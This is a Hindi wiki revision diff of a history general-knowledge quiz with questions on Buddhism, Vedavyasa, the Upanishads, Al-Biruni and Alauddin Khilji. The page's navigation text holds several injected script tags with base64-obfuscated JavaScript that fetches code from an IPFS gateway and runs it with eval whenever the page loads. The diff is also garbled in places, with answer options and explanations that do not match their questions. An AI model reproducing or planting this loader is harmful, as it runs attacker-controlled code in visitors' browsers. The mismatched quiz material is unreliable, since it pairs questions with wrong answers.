Difference between revisions of "इतिहास सामान्य ज्ञान 63"

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{[[बौद्ध धर्म]] के 'त्रिरत्न' के बारे में क्या असत्य है?
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{[[बौद्ध धर्म]] के '[[त्रिरत्न]]' के बारे में क्या असत्य है?
 
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+[[स्तूप]]
 
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-संघ
 
-संघ
 
-[[बुद्ध]]
 
-[[बुद्ध]]
||[[चित्र:Sanchi-Stupa-Sanchi.jpg|right|140px|सांची स्तूप, सांची]][[स्तूप]] एक गुम्दाकार भवन होता था, जो [[बुद्ध]] से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था। सम्राट [[अशोक]] ने भी कई स्तंम्भ बनवाये थे। [[साँची]] का पता सन 1818 ई. में 'जनरल टायलर' ने लगाया था। विश्वप्रसिद्ध [[बौद्ध]] स्तूपों के लिए जाना जाने वाला साँची, [[विदिशा]] से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर स्थित है। प्रज्ञातिष्य महानायक थैर्यन के अनुसार, यहाँ के बड़े स्तूप में स्वयं भगवान बुद्ध के तथा छोटे स्तूपों में भगवान बुद्ध के प्रिय शिष्य 'सारिपुत' (सारिपुत्र) तथा 'महामौद्गलायन' समेत कई अन्य बौद्ध भिक्षुओं के अवशेष रखे हैं।{{point}}अधिक जानकारी के लिए देखें:-[[स्तूप]]
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||[[चित्र:Sanchi-Stupa-Sanchi.jpg|right|140px|सांची स्तूप, सांची]][[स्तूप]] एक गुम्बदाकार भवन होता था, जो [[बुद्ध]] से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था। सम्राट [[अशोक]] ने भी कई स्तंम्भ बनवाये थे। [[साँची]] का पता सन 1818 ई. में 'जनरल टायलर' ने लगाया था। विश्वप्रसिद्ध [[बौद्ध]] स्तूपों के लिए जाना जाने वाला साँची, [[विदिशा]] से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर स्थित है। प्रज्ञातिष्य महानायक थैर्यन के अनुसार, यहाँ के बड़े स्तूप में स्वयं भगवान बुद्ध के तथा छोटे स्तूपों में भगवान बुद्ध के प्रिय शिष्य 'सारिपुत' ([[सारिपुत्र]]) तथा 'महामौद्गलायन' समेत कई अन्य बौद्ध भिक्षुओं के [[अवशेष]] रखे हैं।{{point}}अधिक जानकारी के लिए देखें:-[[स्तूप]]
  
 
{'[[श्रीमद्भागवत]]' की रचना किसने की थी?
 
{'[[श्रीमद्भागवत]]' की रचना किसने की थी?
 
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-[[कृष्ण]]
 
-[[कृष्ण]]
-महर्षि [[विश्वामित्र]]
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-[[विश्वामित्र]]
+महर्षि [[वेदव्यास]]
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+[[व्यास|वेदव्यास]]
 
-[[संकर्षण]]
 
-[[संकर्षण]]
||[[Image:Gita-1.jpg|right|120px|श्रीकृष्ण और अर्जुन]][[वेदव्यास]] भगवान [[नारायण]] के ही कलावतार थे। इनका पूरा नाम 'कृष्ण द्वैपायन वेदव्यास' था। व्यासजी के [[पिता]] का नाम [[पराशर]] तथा [[माता]] का नाम [[सत्यवती]] था। [[वेदान्त|वेदान्तदर्शन]] की शक्ति के साथ अनादि [[पुराण]] को लुप्त होते देखकर भगवान कृष्ण द्वैपायन ने अठारह [[पुराण|पुराणों]] का प्रणयन किया। इनके द्वारा प्रणीत [[महाभारत]] को पंचम [[वेद]] कहा जाता है। [[श्रीमद्भागवत]] के रूप में [[भक्ति]] का सार-सर्वस्व इन्होंने मानव मात्र को सुलभ कराया और [[ब्रह्मसूत्र]] के रूप में तत्त्वज्ञान का अनुपम ग्रन्थरत्न प्रदान किया।{{point}}अधिक जानकारी के लिए देखें:-[[वेदव्यास]]
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||[[Image:Gita-1.jpg|right|120px|श्रीकृष्ण और अर्जुन]][[वेदव्यास]] भगवान [[नारायण]] के ही कलावतार थे। इनका पूरा नाम 'कृष्ण द्वैपायन वेदव्यास' था। व्यासजी के [[पिता]] का नाम [[पराशर]] तथा [[माता]] का नाम [[सत्यवती]] था। [[वेदान्त|वेदान्तदर्शन]] की शक्ति के साथ अनादि [[पुराण]] को लुप्त होते देखकर भगवान कृष्ण द्वैपायन ने अठारह [[पुराण|पुराणों]] का प्रणयन किया। इनके द्वारा प्रणीत [[महाभारत]] को पंचम [[वेद]] कहा जाता है। [[श्रीमद्भागवत]] के रूप में [[भक्ति]] का सार-सर्वस्व इन्होंने मानव मात्र को सुलभ कराया और [[ब्रह्मसूत्र]] के रूप में तत्त्वज्ञान का अनुपम ग्रन्थरत्न प्रदान किया।{{point}}अधिक जानकारी के लिए देखें:-[[व्यास|वेदव्यास]]
  
 
{किस [[उपनिषद]] को [[बुद्ध]] से भी प्राचीन माना जाता है?
 
{किस [[उपनिषद]] को [[बुद्ध]] से भी प्राचीन माना जाता है?
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-[[बृहदारण्यकोपनिषद]]
 
-[[बृहदारण्यकोपनिषद]]
 
-[[मुण्डकोपनिषद]]
 
-[[मुण्डकोपनिषद]]
||[[चित्र:Buddha1.jpg|right|80px|अभय मुद्रा में बुद्ध]]कठोपनिषद कृष्ण-यजुर्वेद शाखा का एक अत्यन्त महत्त्वपूर्ण [[उपनिषद]] है। इस उपनिषद के रचयिता 'कठ' नाम के तपस्वी आचार्य थे। वे मुनि वैशम्पायन के शिष्य तथा [[यजुर्वेद]] की 'कठशाखा' के प्रवर्तक थे। इस उपनिषद में दो अध्याय हैं, और प्रत्येक अध्याय में तीन-तीन वल्लियाँ हैं, जिनमें वाजश्रवा-पुत्र [[नचिकेता]] और [[यम]] के बीच संवाद हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कठोपनिषद]]
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||[[चित्र:Buddha1.jpg|right|80px|अभय मुद्रा में बुद्ध]]कठोपनिषद कृष्ण-यजुर्वेद शाखा का एक अत्यन्त महत्त्वपूर्ण [[उपनिषद]] है। इस उपनिषद के रचयिता 'कठ' नाम के तपस्वी आचार्य थे। वे मुनि [[वैशम्पायन]] के शिष्य तथा [[यजुर्वेद]] की 'कठशाखा' के प्रवर्तक थे। इस उपनिषद में दो अध्याय हैं, और प्रत्येक अध्याय में तीन-तीन वल्लियाँ हैं, जिनमें वाजश्रवा-पुत्र [[नचिकेता]] और [[यम]] के बीच संवाद हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कठोपनिषद]]
 
   
 
   
 
{[[बुद्ध|महात्मा बुद्ध]] की मृत्यु के बाद उनके शरीर के [[अवशेष|अवशेषों]] पर कितने [[स्तूप|स्तूपों]] का निर्माण किया गया?
 
{[[बुद्ध|महात्मा बुद्ध]] की मृत्यु के बाद उनके शरीर के [[अवशेष|अवशेषों]] पर कितने [[स्तूप|स्तूपों]] का निर्माण किया गया?
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-[[वैश्य|वैश्यों]] की
 
-[[वैश्य|वैश्यों]] की
 
-[[शूद्र|शूद्रों]] की
 
-[[शूद्र|शूद्रों]] की
||[[चित्र:Buddha-Statue-Bodhgaya-Bihar.jpg|right|120px|बुद्ध प्रतिमा, बोधगया]][[बुद्धचरित]] 21, 27 में [[बुद्ध]] का [[वैरंजा]] नामक नगर में पहुँचकर 'विरिंच' नामक व्यक्ति को [[धर्म]] की दीक्षा देने का उल्लेख है। यहाँ के [[ब्राह्मण|ब्राह्मणों]] का [[बौद्ध साहित्य]] में उल्लेख आता है। [[गौतम बुद्ध]] यहाँ पर ठहरे थे और उन्होंने इस नगर के निवासियों के समक्ष प्रवचन भी किया था। भगवान गौतम बुद्ध के असंख्य अनुयायी बन चुके थे, लेकिन इन अनुयायियों में [[ब्राह्मण|ब्राह्मणों]] की एक बहुत बड़ी संख्या थी। बुद्ध के प्रवचनों तथा उनकी शिक्षाओं का ब्राह्मणों पर बहुत गहरा प्रभाव पड़ा था।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
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||[[चित्र:Buddha-Statue-Bodhgaya-Bihar.jpg|right|120px|बुद्ध प्रतिमा, बोधगया]] [[बुद्धचरित]] 21, 27 में [[बुद्ध]] का [[वैरंजा]] नामक नगर में पहुँचकर 'विरिंच' नामक व्यक्ति को [[धर्म]] की दीक्षा देने का उल्लेख है। यहाँ के [[ब्राह्मण|ब्राह्मणों]] का [[बौद्ध साहित्य]] में उल्लेख आता है। [[गौतम बुद्ध]] यहाँ पर ठहरे थे और उन्होंने इस नगर के निवासियों के समक्ष [[प्रवचन]] भी किया था। भगवान गौतम बुद्ध के असंख्य अनुयायी बन चुके थे, लेकिन इन अनुयायियों में [[ब्राह्मण|ब्राह्मणों]] की एक बहुत बड़ी संख्या थी। बुद्ध के प्रवचनों तथा उनकी शिक्षाओं का ब्राह्मणों पर बहुत गहरा प्रभाव पड़ा था।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
 
 
{[[गुप्त काल]] में [[गुजरात]], [[बंगाल]], दक्कन एवं [[तमिलनाडु|तमिल]] राष्ट्र किस व्यवसाय से सम्बन्धित थे?
 
|type="()"}
 
+वस्त्र उत्पादन
 
-बहुमूल्य मणि एवं [[रत्न]]
 
-हस्तशिल्प
 
-अफ़ीम खेती
 
 
 
{पुस्तक '[[किताब-उल-हिन्द]]' के प्रसिद्ध लेखक का क्या नाम था?
 
|type="()"}
 
-हसन निज़ामी
 
-[[मिनहाजुद्दीन सिराज|मिनहाज]]
 
+[[अलबेरूनी]]
 
-शम्स-ए-सिराज आफ़िफ
 
||'अलबेरूनी' (973-1048 ई.) रबीवा का रहने वाला था। इसका जन्म 'ख्वारिज्म' में हुआ था। 1017 ई. में ख्वारिज्म को [[महमूद ग़ज़नवी]] द्वारा जीत लिया गया। सुल्तान महमूद ग़ज़नवी के सामने [[अलबेरूनी]] को एक क़ैदी के रूप में [[ग़ज़नी]] लाया गया था। उसकी विद्वत्ता से प्रभावित होकर महमूद ग़ज़नवी ने उसे अपने राज्य का राज ज्योतिष नियुक्त कर दिया। अलबेरूनी ने '[[किताब-उल-हिन्द]]' नामक पुस्तक की भी रचना की। अलबरूनी [[अरबी भाषा|अरबी]], [[फ़ारसी भाषा|फ़ारसी]], तुर्की, [[संस्कृत]], गणित और खगोल आदि विषयों का प्रमुख जानकर था।{{point}}अधिक जानकारी के लिए देखें:-[[अलबेरूनी]]
 
 
 
{अकालों को रोकने तथा अकाल पीड़ितों की सहायता हेतु [[भारत]] सरकार ने 'अकाल संहिता' कब प्रचारित की थी?
 
|type="()"}
 
-[[1879]] ई.
 
-[[1881]] ई.
 
+[[1883]] ई.
 
-[[1885]] ई.
 
 
 
{[[राजगृह]] का राजकीय चिकित्सक 'जीवक', जिसे गणिका के पुत्र के रूप में माना जाता है, उस गणिका का नाम क्या था?
 
|type="()"}
 
+सलावती
 
-बसंतसेना
 
-रमनिया
 
-आम्रपाली
 
 
 
{'दीवान-ए-मुस्तखराज' किसने स्थापित किया था?
 
|type="()"}
 
-[[कुतुबुद्दीन ऐबक]]
 
-[[रजिया सुल्तान|रजिया]]
 
-[[बलबन]]
 
+[[अलाउद्दीन ख़िलज़ी]]
 
||[[ख़िलजी वंश]] के सुल्तान [[अलाउद्दीन ख़िलजी]] ने अपने शासनकाल में प्रशासन के कई महत्त्वपूर्ण पदों की रचना की थी। इनमें से एक 'दीवान-ए-मुस्तख़राज' का भी पद था। इसका कार्य राज्य में बकाया करों की वसूली तथा राजस्व आदि एकत्र करना था। मंत्रीगण अलाउद्दीन को सिर्फ़ सलाह देते थे और राज्य के दैनिक कार्य को संभालते थे। अलाउद्दीन के समय में पाँच महत्त्वपूर्ण मंत्री थे, जो प्रशासन के कार्यों में अपना बहुत ही महत्त्वपूर्ण स्थान रखते थे।{{point}}अधिक जानकारी के लिए देखें:-[[अलाउद्दीन ख़िलज़ी]]
 
 
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Latest revision as of 13:55, 21 August 2016

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 bauddh dharm ke 'triratn' ke bare mean kya asaty hai?

stoop
dhamm
sangh
buddh

2 'shrimadbhagavat' ki rachana kisane ki thi?

krishna
vishvamitr
vedavyas
sankarshan

4 mahatma buddh ki mrityu ke bad unake sharir ke avasheshoan par kitane stoopoan ka nirman kiya gaya?

5
6
8
9

5 buddh ke prarambhik anuyayiyoan mean sarvadhik sankhya kisaki thi?

kshatriyoan ki
brahmanoan ki
vaishyoan ki
shoodroan ki

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan